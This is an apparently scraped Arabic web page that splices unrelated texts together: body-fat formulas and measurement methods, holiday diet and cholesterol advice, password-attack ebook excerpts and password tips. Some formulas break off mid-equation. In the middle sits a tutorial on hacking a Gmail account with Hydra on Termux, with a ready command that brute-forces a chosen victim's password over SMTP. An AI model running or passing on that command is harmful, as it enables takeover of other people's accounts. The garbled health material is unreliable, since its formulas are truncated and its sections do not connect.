ذات صلة كيف أعرف نسبة الدهون في الجسم كيف يمكن حساب نسبة الدهون في الجسم
الدهون
تعتبر الدهون في جسم الإنسان من العناصر المفيدة إلى حدّ جيّد في جسم الإنسان، إذ إنّها تمدّ الإنسان بالطاقة التي يحتاجها جسمه، ومن الممكن لجسم الإنسان أن يستهلكها مباشرة، ومن الممكن أيضاً أن يخزنها في أماكن معينة في الجسم إلى حين يحتاج إليها، وهذا هو سرّ معاناة البعض، فزيادة تراكم الدهون في جسم الإنسان تؤدّي في نهاية المطاف إلى تراكمها بشكل يضر بالإنسان، ويسبب له الإصابة بداء السمنة الذي لا تحمد عقباه. هناك نوعان من أنواع الدهون هما الدهون الحيوانية، والدهون النباتية، ويحصل الإنسان على النوع الأول من مصادر عديدة منها اللحوم، والزبدة، والحليب، وغيرها، في حين يحصل على النوع الثاني من الدهون من مصادر مختلفة منها السمسم، والزيتون، والقطن، والذرة، ودوار الشمس، وفول الصويا، والجوز، واللوز، وما إلى ذلك من عناصر. طريقة حساب نسبة الدهون في الجسم
أمّا بالنسبة لكمية الدهون التي يجب على الإنسان تناولها فهي كمية لا يمكن تحديدها بشكل دقيق، إلا أن المتعارف عليه وبشكل تقريبي هو أن الإنسان البالغ يجب عليه تناول ما بين خمسة عشر وخمسة وثلاثين جراماً تقريباً من الدهون في اليوم الواحد، إلا أن ذلك يعتمد أساساً على العديد من العوامل وعلى رأسها مقدار الطاقة التي يحتاجها الإنسان يومياً.
- حساب نسبه الدهون بالجسم
- حساب نسبة الدهون في الجسم
- كيف حساب نسبه الدهون بالجسم
- أداة hydra لأختراق ال gmail - Termux_Andriod
- قائمة بأكثر 500 كلمة مرور مُستخدمة يستغّلها المُخترقون - البوابة العربية للأخبار التقنية
حساب نسبه الدهون بالجسم
50)*100%. من خلال مؤشر كتلة الجسم
يمكن الربط بين مؤشر كتلة الجسم (الكتلة/مربع الطول) من خلال المعادلتين التاليتين:
نسبة الدهون لدى الأطفال=(1. 51*المؤشر)-(0. 7*العمر)-(3. 6*النوع)+1. 4
نسبة الدهون لدى الكبار=(1. 2*المؤشر)-(0. 23*العمر)-(10. 8*النوع)-5. 4 أما بالنسبة للنوع فللذكور يكون (1)، وللإناث يكون (0).
يحتاج الإنسان عادة إلى معرفة نسبة الدهون في جسمه، ولهذا فقد تم ابتكار عدة طرق تساعد على الوصول إلى هذه الغاية منها:
الوزن في الماء
تعرف هذه الطريقة باسم الوزن الهيدروستاتيكي، ويمكن قياس وزن الدهون في الجسم من خلال غمر جسم الإنسان في الماء، ومن ثم قياس كامل كمية المياه التي تمت إزاحتها، وتعتبر هذه الطريقة في قياس نسبة الجهون لها تكلفة مرتفعة أكثر من الطرق الأخرى. طريقة الأشعة تحت الحمراء
يتم قياس الدهون من خلال تسليط حزمة من الأشعة تحت الحمراء على الجسم، بحيث تنعكس هذه الأشعة عن العضلات في الوقت الذي تُمتص فيه من قبل الدهون. طريقة الأشعة السينية
تعتبر هذه الطريقة من الطرق الحديثة في قياس نسبة الدهون في جسم الإنسان، حيث تستخدم لهذا الغرض الأشعة السينية ذات البواعث الثنائية، إذ يتم امتصاص أحدهما بشكل أكبر، ومن ثم يتم معالجة الصور باستعمال جهاز الحاسوب. متوسط الكثافة
تعتمد هذه الطريقة على حقيقة أن الأنسجة الدهنية في جسم الإنسان لها كثافة أقل من كل من عظام الجسم وعضلاته، من هنا فقد تطورت معادلتان لحساب المتوسط هما:
معادلة بروزيك: نسبة الدهون=((4. 57/الكثافة)-4. 142)*100%. معادلة سيري: =((4.
حساب نسبة الدهون في الجسم
نسبة الدهون المثالية في الجسم تعتبر من أهم الأمور التي يسعى الكثير من الأشخاص للوصول إليها، وذلك للقضاء على الدهون المتراكمة في الجسم والتي تسبب مشاكل السمنة المفرطة، ويظن الكثيرون أن جميع الدهون ضارة بالصحة، ولكن هذا غير صحيح، وهذا سنوضحه لكم في هذا المقال عبر موقع جربها. اقرأ أيضًا: نسبة الدهون الطبيعية في الجسم
ما هي الدهون وأنواعها
قبل أن نتعرف على نسبة الدهون المثالية في الجسم، سوف نشرح لكم مفهوم الدهون أولاً وأنواعها المختلفة، وكافة التفاصيل الخاصة بها في الفقرات التالية، فالدهون هي عبارة عن مجموعة مركبات كيميائية تحتوي بداخلها على أحماض دهنية. ومن الجدير بالذكر أنها من المكونات الأساسية التي لا يمكن الاستغناء عنها، لأنها تمنح الإحساس بالتذوق في الفم، وبالتالي نجد أنه في أي شيء تتواجد الدهون نحصل على المذاق المميز. أنواع الدهون
قبل التعرف على نسبة الدهون المثالية في الجسم يجب أن نعرفكم على أنواع الدهون المختلفة، والتي تنقسم إلى ما يلي:
دهون مشبعة: ويتوافر هذا النوع من الدهون في كافة المنتجات الحيوانية، وعدد من المنتجات النباتية، ومن الجدير ذكره أنها تحافظ على صورتها الصلبة مع درجة حرارة الغرفة العادية.
المتابعة المستمرة مع الطبيب المعالج وقياس نسبة السكر، ووضع نظام غذائي صحي بعد انتهاء فترة الصيام لتجنب غيبوبة السكر. وكذلك الحال بالنسبة لمرضى القلب ومرضى الشرايين التاجية، حيث ينصح الأطباء بعدم الإفراط في تناول حلويات العيد مثل الكعك والبسكويت، لاحتوائها على نسب عالية من الدهون والكوليسترول وسعرات حرارية عالية، وذلك لاحتوائها على كميات كبيرة من السكر والدقيق التي تحتويها هذه الحلويات، مما يؤدي إلى زيادة الوزن والسمنة. عدم الإكثار من تناول السمك المملح في أيام عيد الفطر. يمكنك أن تتناول كل الحلويات ولكن بكميات معتدلة، حتى لاتكون عرضة الانتكاسات.
كيف حساب نسبه الدهون بالجسم
تقول هيئة الخدمات الصحية الوطنية NHS: "لتقليل نسبة الكوليسترول لديك، حاول أن تقلل من تناول الأطعمة الدهنية، وخاصة الأطعمة التي تحتوي على نوع من الدهون يسمى الدهون المشبعة. لا يزال بإمكانك تناول الأطعمة التي تحتوي على نوع صحي من الدهون يسمى الدهون غير المشبعة. تقول جمعية الحمية البريطانية: "قارن الملصقات واختر الأطعمة ذات الملصقات الخضراء أو الكهرمانية من أجل"المشبعة". الأطعمة غنية بالدهون المشبعة حمراء اللون إذا كانت تحتوي على أكثر من 5 جرام من الدهون المشبعة لكل 100 جرام. الأطعمة التي تحتوي على 1. 5 جرام أو أقل لكل 100 جرام منخفضة، خضراء، في الدهون المشبعة. ومع ذلك، يشير الموقع إلى أن بعض الأطعمة الصحية التي تحتوي على نسبة عالية من الدهون مثل الأسماك الزيتية والمكسرات والزيوت قد تكون حمراء بسبب الدهون المشبعة. هذا جيد، لأنها تحتوي على المزيد من الدهون الصحية غير المشبعة. أخيرًا، تنصح المنظمة بتناول الكثير من الألياف. يساعد هذا في تقليل خطر الإصابة بأمراض القلب ويمكن أن تساعد بعض الأطعمة الغنية بالألياف على خفض نسبة الكوليسترول في الدم. قد تحتاج إلى دواء لخفض الكوليسترول إذا لم ينخفض مستوى الكوليسترول لديك بعد تغيير نظامك الغذائي ونمط حياتك.
تقول المنظمة إنه من الأهمية بمكان الحد من كمية الدهون المشبعة التي تتناولها. الكثير من الدهون المشبعة يمكن أن ترفع نسبة الكوليسترول في الدم. "لذلك يمكن لمعظم الناس تناول البيض طالما أنهم جزء من نظام غذائي صحي منخفض الدهون المشبعة. "إذا كنت تعاني من ارتفاع نسبة الكوليسترول في الدم، يجب أن تحد من كمية الكوليسترول التي تتناولها إلى حوالي 300 ملغ يوميًا. هذا يتعلق بالكمية التي يأكلها معظم الناس. يجب أن يكون تناول ثلاث إلى أربع بيضات أسبوعيًا أمرًا جيدًا، ولكن تحدث إلى طبيبك أو اختصاصي التغذية حول الأفضل بالنسبة لك. "إذا كنت تعاني من فرط كوليسترول الدم العائلي، فيجب عليك أيضًا الحد من نسبة الكوليسترول الغذائي لديك إلى 300 مجم في اليوم، ولكن ربما يكون من الأفضل استهداف 200 مجم في المتوسط. " لا يميل ارتفاع الكوليسترول في الدم إلى التسبب في أعراض، لذلك لا يمكنك معرفة ما إذا كنت مصابًا به فقط من خلال فحص الدم. لحسن الحظ، يمكن للكثير من الناس خفض نسبة الكوليسترول لديهم عن طريق تناول الطعام الصحي وإجراء تغييرات في نمط الحياة. يمكن أن يساعد تغيير ما تأكله، وزيادة نشاطك، والإقلاع عن التدخين في إعادة الكوليسترول إلى المستوى الصحي.
يتم اختراق حسابات الجيميل عن طريق اداة hydra وهي اداة تخمين.. اي تخمن الباسوردات لتجد الباسورد الصحيح تابع..
• لاختراق حساب جيميل (gmail) يجب تثبيت هذه الادوات:
1. للتثبيت انسخ الاوامر التالية:
pkg install hydra: هذه اداة الأختراق
وهذه اداة لصنع لستا تخمين:
git clone
*سوف نشرح عن أداة التخمين لاحقا
• لبدء الاختراق:
1. نكتب الامر hydra
2. أداة hydra لأختراق ال gmail - Termux_Andriod. ننسخ الامر التالي ونضع مكان اول قوس الجيميل الذي نريد اختراقه.. ونضع مكان القوس الثاني اسم الليستا التي صنعتهاونضغط Enter
هذا هو الامر:
hydra -S -l [Email] -P /sdcard/[listpassowrd] -v -V -e ns -s 465 smtp
• وبعدها ستنتظر قليلا لتتم عملية التخمين وستظهر لك كلمة password باللون الأخضر وستظهر كلمة السر الخاصة بالحساب وشكرا
أداة Hydra لأختراق ال Gmail - Termux_Andriod
كما يقوم المخترقون بذلك أيضا لكن بغرض استخدام لوائح هذه الكلمات كقواميس في هجوم القاموس Dictionary Attack على كلمات السرّ.
قائمة بأكثر 500 كلمة مرور مُستخدمة يستغّلها المُخترقون - البوابة العربية للأخبار التقنية
مراقبة إدخال الضحية لكلمة السرّ
يمكن للمهاجم في حال وجوده بقرب الضحية أن يراقب الضحية أثناء إدخال كلمة سرّه لحساب ما فيحفظ بضعة رموز وأحرف لبدايتها مثلا، أو لنهايتها أو ينصت السمع عند النقر على لوحة المفاتيح ليقدر طولها، ويستخدم هذه المعلومات الهامة في حصر الاحتمالات عند تخمين كلمة السرّ
يمكن أيضا لمهاجم صبور أن يقوم بذلك على مراحل, كأن يراقب في أول مرة أول رمزين أو ثلاثة من كلمة السرّ، ثم بعد عدة أيام إن تسنى له الأمر، الحرفان الأخيران وهكذا حتى تصبح كلمة السرّ واضحة لديه. قائمة بأكثر 500 كلمة مرور مُستخدمة يستغّلها المُخترقون - البوابة العربية للأخبار التقنية. معرفة معلومات شخصية عن الضحية
يستخدم الكثير من الأشخاص معلومات ترتبط بشخصيتهم عند انشاء كلمة السرّ، لغرض بسيط هو ضرورة حفظها. وهذا يعني أن المعلومات التي يعرفها المهاجم عن الضحية قد تؤدي إلى تخمين كلمة السرّ بشكل صحيح لو لم يتبع الضحية خطوات انشاء كلمة سرّ جيدة وخاصة البند الخاص بعدم ذكر معلومات شخصية عند انشاء الكلمة. تنقّل في الكتيب eBook Navigation
الهجمات على كلمات السرّ
الهجمات الالكترونية الخبيثة Malicious Cyber Attacks
الفهرس Index
الفهرس الكامل Full Index
اقرأ أيضا See Also
كلمات السرّ Passwords
الهجوم الأعمى Brute Force Attack
هجوم القاموس Dictionary Attack
اصطياد كلمات السرّ Passwords Phishing
تسجيل نقرات المفاتيح Keystroke Logging
تسرب البيانات Data Breaches
برامج كشف كلمات السرّ Password Cracking Software
برامج تجريب كلمات السرّ Password Testing Software
مراجع References
How to Guess a Password - WikiHow
SplashData's Top 100 Worst Passwords of 2018
3. الابتعاد عن الكلمات التى يمكن التنبؤ بها عند انشاء الباسورد
إن عدم القدرة على التنبؤ هو أمر أساسي عندما يتعلق الأمر بقوة الباسورد الذى تختاره لحساباتك الشخصية. لذا من المهم تجنب الكلمات التي يمكن التنبؤ بها بسهولة، وكلمات المرور المستندة إلى كلمات القاموس، بالإضافة إلى أي إشارات إلى العروض التليفزيونية الشهيرة وألعاب الفيديو والأفلام. يجب أيضًا تجنب استخدام الباسورد الذى يحتوي على معلومات شخصية لأنه يمكن الحصول عليها بسهولة. 19٪ من الاشخاص يستخدمون الأحرف الأولى أو الاسم في كلمات المرور الخاصة بهم، وهو أمر لا يستهان به من حيث الأمان. 4. استخدام الباسورد لحساب واحد
يجب عليك التنويع فى كلمات المرور الخاصة بحساباتك الشخصية و استخدام اكثر من باسورد لكل حساب
5. تحقق من قوة الباسورد الخاص بك
و اخيرا, بعد الوصول إلى الباسورد المراد لحسابك الشخصى على الانترنت، يجب عليك قياس مدى قوة الباسورد باستخدم مدقق قوة كلمة المرور حيث انه سيقيم مدى قوة كلمة المرور وسيخبرك بالوقت المطلوب لتصدعه. 6. استخدام مولد الباسورد
إذا لم تريد إنشاء كلمات مرور عشوائية، فيمكنك بسهولة باسورد بطريقة آمنة باستخدام أداة مجانية مثل مولد كلمة المرور ( LastPass) او مولد كلمة المرور الامن ( Nortonidentity), من الافضل أن يكون لديك كلمة مرور تم إنشاؤها باستخدام الكمبيوتر بدلاً من استخدام كلمة مرور مخصصة يمكن اختراقها بسهولة.